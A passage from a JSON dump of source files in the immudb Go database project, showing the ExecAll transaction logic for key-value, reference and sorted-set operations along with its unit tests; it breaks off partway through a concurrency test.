WithOptions(options *Options) *immuClient {\n\tc.Options = options\n\treturn c\n}\n\nfunc (c *immuClient) WithErrorHandler(handler ErrorHandler) *immuClient {\n\tc.errorHandler = handler\n\treturn c\n}\n"
  },
  {
    "path": "pkg/client/types_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream\"\n)\n\nfunc TestWithStreamServiceFactory(t *testing.T) {\n\ts := NewClient()\n\ts.WithStreamServiceFactory(stream.NewStreamServiceFactory(4096))\n}\n"
  },
  {
    "path": "pkg/database/all_ops.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// ExecAll like Set it permits many insertions at once.\n// The difference is that is possible to to specify a list of a mix of key value set and zAdd insertions.\n// If zAdd reference is not yet present on disk it's possible to add it as a regular key value and the reference is done onFly\nfunc (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\tif req == nil {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tif err := req.Validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif !req.NoWait {\n\t\tlastTxID, _ := d.st.CommittedAlh()\n\t\terr := d.st.WaitForIndexingUpto(ctx, lastTxID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tcallback := func(txID uint64, index store.KeyIndex) ([]*store.EntrySpec, []store.Precondition, error) {\n\t\tentries := make([]*store.EntrySpec, len(req.Operations))\n\n\t\t// In order to:\n\t\t// * make a memory efficient check system for keys that need to be referenced\n\t\t// * store the index of the future persisted zAdd referenced entries\n\t\t// we build a map in which we store sha256 sum as key and the index as value\n\t\tkmap := make(map[[sha256.Size]byte]bool)\n\n\t\tfor i, op := range req.Operations {\n\t\t\te := &store.EntrySpec{}\n\n\t\t\tswitch x := op.Operation.(type) {\n\n\t\t\tcase *schema.Op_Kv:\n\n\t\t\t\tkmap[sha256.Sum256(x.Kv.Key)] = true\n\n\t\t\t\tif len(x.Kv.Key) == 0 {\n\t\t\t\t\treturn nil, nil, store.ErrIllegalArguments\n\t\t\t\t}\n\n\t\t\t\te = EncodeEntrySpec(\n\t\t\t\t\tx.Kv.Key,\n\t\t\t\t\tschema.KVMetadataFromProto(x.Kv.Metadata),\n\t\t\t\t\tx.Kv.Value,\n\t\t\t\t)\n\n\t\t\tcase *schema.Op_Ref:\n\t\t\t\tif len(x.Ref.Key) == 0 || len(x.Ref.ReferencedKey) == 0 {\n\t\t\t\t\treturn nil, nil, store.ErrIllegalArguments\n\t\t\t\t}\n\n\t\t\t\tif x.Ref.AtTx > 0 && !x.Ref.BoundRef {\n\t\t\t\t\treturn nil, nil, store.ErrIllegalArguments\n\t\t\t\t}\n\n\t\t\t\tif req.NoWait && (x.Ref.AtTx != 0 || !x.Ref.BoundRef) {\n\t\t\t\t\treturn nil, nil, fmt.Errorf(\n\t\t\t\t\t\t\"%w: can only set references to keys added within same transaction, please use bound references with AtTx set to 0\",\n\t\t\t\t\t\tErrNoWaitOperationMustBeSelfContained)\n\t\t\t\t}\n\n\t\t\t\t_, exists := kmap[sha256.Sum256(x.Ref.ReferencedKey)]\n\n\t\t\t\tif req.NoWait && !exists {\n\t\t\t\t\treturn nil, nil, fmt.Errorf(\"%w: can not create a reference to a key that was not set in the same transaction\", ErrNoWaitOperationMustBeSelfContained)\n\t\t\t\t}\n\n\t\t\t\tif !req.NoWait {\n\t\t\t\t\t// check key does not exists or it's already a reference\n\t\t\t\t\tentry, err := d.getAtTx(ctx, EncodeKey(x.Ref.Key), 0, 0, index, 0, true)\n\t\t\t\t\tif err != nil && err != store.ErrKeyNotFound {\n\t\t\t\t\t\treturn nil, nil, err\n\t\t\t\t\t}\n\t\t\t\t\tif entry != nil && entry.ReferencedBy == nil {\n\t\t\t\t\t\treturn nil, nil, ErrFinalKeyCannotBeConvertedIntoReference\n\t\t\t\t\t}\n\n\t\t\t\t\tif !exists || x.Ref.AtTx > 0 {\n\t\t\t\t\t\t// check referenced key exists and it's not a reference\n\t\t\t\t\t\trefEntry, err := d.getAtTx(ctx, EncodeKey(x.Ref.ReferencedKey), x.Ref.AtTx, 0, index, 0, true)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\treturn nil, nil, err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif refEntry.ReferencedBy != nil {\n\t\t\t\t\t\t\treturn nil, nil, ErrReferencedKeyCannotBeAReference\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// reference arguments are converted in regular key value items and then atomically inserted\n\t\t\t\tif x.Ref.BoundRef && x.Ref.AtTx == 0 {\n\t\t\t\t\te = EncodeReference(\n\t\t\t\t\t\tx.Ref.Key,\n\t\t\t\t\t\tnil,\n\t\t\t\t\t\tx.Ref.ReferencedKey,\n\t\t\t\t\t\ttxID,\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\te = EncodeReference(\n\t\t\t\t\t\tx.Ref.Key,\n\t\t\t\t\t\tnil,\n\t\t\t\t\t\tx.Ref.ReferencedKey,\n\t\t\t\t\t\tx.Ref.AtTx,\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\tcase *schema.Op_ZAdd:\n\t\t\t\tif len(x.ZAdd.Set) == 0 || len(x.ZAdd.Key) == 0 {\n\t\t\t\t\treturn nil, nil, store.ErrIllegalArguments\n\t\t\t\t}\n\n\t\t\t\tif x.ZAdd.AtTx > 0 && !x.ZAdd.BoundRef {\n\t\t\t\t\treturn nil, nil, store.ErrIllegalArguments\n\t\t\t\t}\n\n\t\t\t\tif req.NoWait && (x.ZAdd.AtTx != 0 || !x.ZAdd.BoundRef) {\n\t\t\t\t\treturn nil, nil, fmt.Errorf(\n\t\t\t\t\t\t\"%w: can only set references to keys added within same transaction, please use bound references with AtTx set to 0\",\n\t\t\t\t\t\tErrNoWaitOperationMustBeSelfContained)\n\t\t\t\t}\n\n\t\t\t\t_, exists := kmap[sha256.Sum256(x.ZAdd.Key)]\n\n\t\t\t\tif req.NoWait && !exists {\n\t\t\t\t\treturn nil, nil, fmt.Errorf(\"%w: can not create a reference into a set for a key that was not set in the same transaction\", ErrNoWaitOperationMustBeSelfContained)\n\t\t\t\t}\n\n\t\t\t\tif !req.NoWait {\n\t\t\t\t\tif !exists || x.ZAdd.AtTx > 0 {\n\t\t\t\t\t\t// check referenced key exists and it's not a reference\n\t\t\t\t\t\trefEntry, err := d.getAtTx(ctx, EncodeKey(x.ZAdd.Key), x.ZAdd.AtTx, 0, index, 0, true)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\treturn nil, nil, err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif refEntry.ReferencedBy != nil {\n\t\t\t\t\t\t\treturn nil, nil, ErrReferencedKeyCannotBeAReference\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// zAdd arguments are converted in regular key value items and then atomically inserted\n\t\t\t\tkey := EncodeKey(x.ZAdd.Key)\n\n\t\t\t\tif x.ZAdd.BoundRef && x.ZAdd.AtTx == 0 {\n\t\t\t\t\te = EncodeZAdd(x.ZAdd.Set, x.ZAdd.Score, key, txID)\n\t\t\t\t} else {\n\t\t\t\t\te = EncodeZAdd(x.ZAdd.Set, x.ZAdd.Score, key, x.ZAdd.AtTx)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tentries[i] = e\n\t\t}\n\n\t\tpreconditions := make([]store.Precondition, len(req.Preconditions))\n\t\tfor i := 0; i < len(req.Preconditions); i++ {\n\t\t\tc, err := PreconditionFromProto(req.Preconditions[i])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\n\t\t\tpreconditions[i] = c\n\t\t}\n\n\t\treturn entries, preconditions, nil\n\t}\n\n\thdr, err := d.st.CommitWith(ctx, callback, !req.NoWait)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn schema.TxHeaderToProto(hdr), nil\n}\n"
  },
  {
    "path": "pkg/database/all_ops_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc compactIndex(db DB, timeout time.Duration) error {\n\tdone := make(chan error)\n\n\tgo func(done chan<- error) {\n\t\terr := db.CompactIndex()\n\t\tdone <- err\n\t}(done)\n\n\tselect {\n\tcase err := <-done:\n\t\t{\n\t\t\treturn err\n\t\t}\n\tcase <-time.After(timeout):\n\t\t{\n\t\t\treturn errors.New(\"compact index timed out\")\n\t\t}\n\t}\n}\n\nfunc execAll(db DB, ctx context.Context, req *schema.ExecAllRequest, timeout time.Duration) error {\n\tdone := make(chan error)\n\n\tgo func(done chan<- error) {\n\t\t_, err := db.ExecAll(ctx, req)\n\t\tdone <- err\n\t}(done)\n\n\tselect {\n\tcase err := <-done:\n\t\t{\n\t\t\treturn err\n\t\t}\n\tcase <-time.After(timeout):\n\t\t{\n\t\t\treturn errors.New(\"execAll timed out\")\n\t\t}\n\t}\n}\n\nfunc TestConcurrentCompactIndex(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdone := make(chan struct{})\n\tack := make(chan struct{})\n\n\tcleanUpFreq := 2 * time.Second\n\tcleanUpTimeout := 3 * time.Second\n\texecAllTimeout := 5 * time.Second\n\n\tgo func(ticker *time.Ticker, done <-chan struct{}, ack chan<- struct{}) {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-done:\n\t\t\t\t{\n\t\t\t\t\tack <- struct{}{}\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tcase <-ticker.C:\n\t\t\t\t{\n\t\t\t\t\terr := compactIndex(db, cleanUpTimeout)\n\t\t\t\t\tif !errors.Is(err, sql.ErrAlreadyClosed) && !errors.Is(err, tbtree.ErrCompactionThresholdNotReached) {\n\t\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}(time.NewTicker(cleanUpFreq), done, ack)\n\n\ttxCount := 10\n\ttxSize := 32\n\n\tfor i := 0; i < txCount; i++ {\n\n\t\tkvs := make([]*schema.Op, txSize)\n\n\t\tfor j := 0; j < txSize; j++ {\n\t\t\tkey := make([]byte, 32)\n\t\t\trand.Read(key)\n\n\t\t\tkvs[j] = &schema.Op{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   key,\n\t\t\t\t\t\tValue: []byte{},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\terr := execAll(db, context.Background(), &schema.ExecAllRequest{Operations: kvs}, execAllTimeout)\n\t\trequire.NoError(t, err)\n\t}\n\n\ttime.Sleep(4 * time.Second)\n\n\tdone <- struct{}{}\n\t<-ack\n}\n\nfunc TestSetBatch(t *testing.T) {\n\tdb := makeDb(t)\n\n\tbatchSize := 100\n\n\tfor b := 0; b < 10; b++ {\n\t\tkvList := make([]*schema.KeyValue, batchSize)\n\n\t\tfor i := 0; i < batchSize; i++ {\n\t\t\tkey := []byte(strconv.FormatUint(uint64(i), 10))\n\t\t\tvalue := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10))\n\t\t\tkvList[i] = &schema.KeyValue{\n\t\t\t\tKey:   key,\n\t\t\t\tValue: value,\n\t\t\t}\n\t\t}\n\n\t\ttxhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvList})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(b+1), txhdr.Id)\n\n\t\tfor i := 0; i < batchSize; i++ {\n\t\t\tkey := []byte(strconv.FormatUint(uint64(i), 10))\n\t\t\tvalue := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10))\n\t\t\tentry, err := db.Get(context.Background(), &schema.KeyRequest{Key: key, SinceTx: txhdr.Id})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, value, entry.Value)\n\t\t\trequire.Equal(t, uint64(b+1), entry.Tx)\n\n\t\t\tvitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: key}}) //no prev root\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, key, vitem.Entry.Key)\n\t\t\trequire.Equal(t, value, vitem.Entry.Value)\n\t\t\trequire.Equal(t, entry.Tx, vitem.Entry.Tx)\n\n\t\t\ttx := schema.TxFromProto(vitem.VerifiableTx.Tx)\n\n\t\t\tentrySpec := EncodeEntrySpec(vitem.Entry.Key, schema.KVMetadataFromProto(vitem.Entry.Metadata), vitem.Entry.Value)\n\n\t\t\tentrySpecDigest, err := store.EntrySpecDigestFor(int(txhdr.Version))\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, entrySpecDigest)\n\n\t\t\tinclusionProof := schema.InclusionProofFromProto(vitem.InclusionProof)\n\t\t\tverifies := store.VerifyInclusion(\n\t\t\t\tinclusionProof,\n\t\t\t\tentrySpecDigest(entrySpec),\n\t\t\t\ttx.Header().Eh,\n\t\t\t)\n\t\t\trequire.True(t, verifies)\n\t\t}\n\t}\n}\n\nfunc TestSetBatchInvalidKvKey(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte{},\n\t\t\t\tValue: []byte(`val`),\n\t\t\t},\n\t\t}})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n}\n\nfunc TestSetBatchDuplicatedKey(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(`key`),\n\t\t\t\tValue: []byte(`val`),\n\t\t\t},\n\t\t\t{\n\t\t\t\tKey:   []byte(`key`),\n\t\t\t\tValue: []byte(`val`),\n\t\t\t},\n\t\t}},\n\t)\n\trequire.ErrorIs(t, err, schema.ErrDuplicatedKeysNotSupported)\n}\n\nfunc TestExecAllOps(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.ExecAll(context.Background(), nil)\n\trequire.ErrorIs(t, store.ErrIllegalArguments, err)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{})\n\trequire.ErrorIs(t, err, schema.ErrEmptySet)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: []*schema.Op{}})\n\trequire.ErrorIs(t, err, schema.ErrEmptySet)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\tnil,\n\t\t},\n\t})\n\trequire.ErrorContains(t, err, \"Op is not set\")\n\n\tbatchCount := 10\n\tbatchSize := 100\n\n\tfor b := 0; b < batchCount; b++ {\n\t\tatomicOps := make([]*schema.Op, batchSize*2)\n\n\t\tfor i := 0; i < batchSize; i++ {\n\t\t\tkey := []byte(strconv.FormatUint(uint64(i), 10))\n\t\t\tvalue := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10))\n\t\t\tatomicOps[i] = &schema.Op{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   key,\n\t\t\t\t\t\tValue: value,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\tfor i := 0; i < batchSize; i++ {\n\t\t\tatomicOps[i+batchSize] = &schema.Op{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`mySet`),\n\t\t\t\t\t\tScore:    0.6,\n\t\t\t\t\t\tKey:      atomicOps[i].Operation.(*schema.Op_Kv).Kv.Key,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\tidx, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: atomicOps})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(b+1), idx.Id)\n\t}\n\n\tzScanOpt := &schema.ZScanRequest{\n\t\tSet: []byte(`mySet`),\n\t}\n\tzList, err := db.ZScan(context.Background(), zScanOpt)\n\trequire.NoError(t, err)\n\tprintln(len(zList.Entries))\n\trequire.Len(t, zList.Entries, batchCount*batchSize)\n}\n\nfunc TestExecAllOpsZAddOnMixedAlreadyPersitedNotPersistedItems(t *testing.T) {\n\tdb := makeDb(t)\n\n\tidx, _ := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(`persistedKey`),\n\t\t\t\tValue: []byte(`persistedVal`),\n\t\t\t},\n\t\t},\n\t})\n\n\t// Ops payload\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`notPersistedKey`),\n\t\t\t\t\t\tValue: []byte(`notPersistedVal`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:   []byte(`mySet`),\n\t\t\t\t\t\tScore: 0.6,\n\t\t\t\t\t\tKey:   []byte(`notPersistedKey`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`mySet`),\n\t\t\t\t\t\tScore:    0.6,\n\t\t\t\t\t\tKey:      []byte(`persistedKey`),\n\t\t\t\t\t\tAtTx:     idx.Id,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tindex, err := db.ExecAll(context.Background(), aOps)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), index.Id)\n\n\tlist, err := db.ZScan(context.Background(), &schema.ZScanRequest{\n\t\tSet:     []byte(`mySet`),\n\t\tSinceTx: index.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`persistedKey`), list.Entries[0].Key)\n\trequire.Equal(t, []byte(`notPersistedKey`), list.Entries[1].Key)\n}\n\nfunc TestExecAllOpsEmptyList(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, schema.ErrEmptySet)\n}\n\nfunc TestExecAllOpsInvalidKvKey(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte{},\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\taOps = &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\t\t\tValue: []byte(\"val\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(\"rkey\"),\n\t\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t\t\tAtTx:          1,\n\t\t\t\t\t\tBoundRef:      false,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\taOps = &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\t\t\tValue: []byte(\"val\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(\"rkey\"),\n\t\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t\t\tBoundRef:      true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = db.ExecAll(context.Background(), aOps)\n\trequire.NoError(t, err)\n\n\t// Ops payload\n\taOps = &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:   []byte(`mySet`),\n\t\t\t\t\t\tScore: 0.6,\n\t\t\t\t\t\tKey:   []byte(`rkey`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference)\n}\n\nfunc TestExecAllOpsZAddKeyNotFound(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(\"set\"),\n\t\t\t\t\t\tKey:      []byte(`key`),\n\t\t\t\t\t\tScore:    5.6,\n\t\t\t\t\t\tAtTx:     4,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, store.ErrTxNotFound)\n}\n\nfunc TestExecAllOpsNilElementFound(t *testing.T) {\n\tdb := makeDb(t)\n\n\tbOps := make([]*schema.Op, 1)\n\tbOps[0] = &schema.Op{\n\t\tOperation: &schema.Op_ZAdd{\n\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\tKey:   []byte(`key`),\n\t\t\t\tScore: 5.6,\n\t\t\t\tAtTx:  4,\n\t\t\t},\n\t\t},\n\t}\n\n\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: bOps})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n}\n\nfunc TestSetOperationNilElementFound(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: nil,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorContains(t, err, \"operation is not set\")\n}\n\nfunc TestExecAllOpsUnexpectedType(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Unexpected{},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorContains(t, err, \"unexpected type\")\n}\n\nfunc TestExecAllOpsDuplicatedKey(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:   []byte(`set`),\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, schema.ErrDuplicatedKeysNotSupported)\n}\n\nfunc TestExecAllOpsDuplicatedKeyZAdd(t *testing.T) {\n\tdb := makeDb(t)\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, schema.ErrDuplicatedZAddNotSupported)\n}\n\nfunc TestStore_ExecAllOpsConcurrent(t *testing.T) {\n\tdb := makeDb(t)\n\n\twg := sync.WaitGroup{}\n\twg.Add(10)\n\n\tfor i := 1; i <= 10; i++ {\n\t\taOps := &schema.ExecAllRequest{\n\t\t\tOperations: []*schema.Op{},\n\t\t}\n\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\tkey := strconv.FormatUint(uint64(j), 10)\n\t\t\tval := strconv.FormatUint(uint64(i), 10)\n\t\t\taOp := &schema.Op{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(key),\n\t\t\t\t\t\tValue: []byte(key),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\n\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t\tfloat, err := strconv.ParseFloat(fmt.Sprintf(\"%d\", j), 64)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tset := val\n\t\t\trefKey := key\n\t\t\taOp = &schema.Op{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:   []byte(set),\n\t\t\t\t\t\tKey:   []byte(refKey),\n\t\t\t\t\t\tScore: 